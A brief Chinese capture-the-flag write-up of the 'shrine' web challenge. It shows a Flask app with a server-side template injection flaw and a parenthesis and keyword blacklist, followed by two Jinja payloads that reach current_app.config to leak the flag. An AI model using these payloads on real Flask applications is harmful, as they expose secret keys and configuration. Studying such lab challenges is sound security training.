攻防世界34-shrine-CTFWeb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import flask import os app = flask.Flask (__name__) app.config['FLAG' ] = os.environ.pop ('FLAG' ) @app.route ('/' ) def index (): return open (__file__).read () @app.route ('/shrine/<path:shrine>' ) def shrine (shrine): def safe_jinja (s): s = s.replace ('(' , '' ).replace (')' , '' ) blacklist = ['config' , 'self' ] return '' .join (['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string (safe_jinja (shrine)) if __name__ == '__main__' : app.run (debug=True)
尝试下,是个SSTI问题,并且过滤()和config和self
flag在app.config[‘FLAG’] = os.environ.pop(‘FLAG’)里
1 2 3 payload: /shrine/{{url_for.__globals__['current_app'].config}} /shrine/{{get_flashed_messages.__globals__['current_app'].config}}
记住就行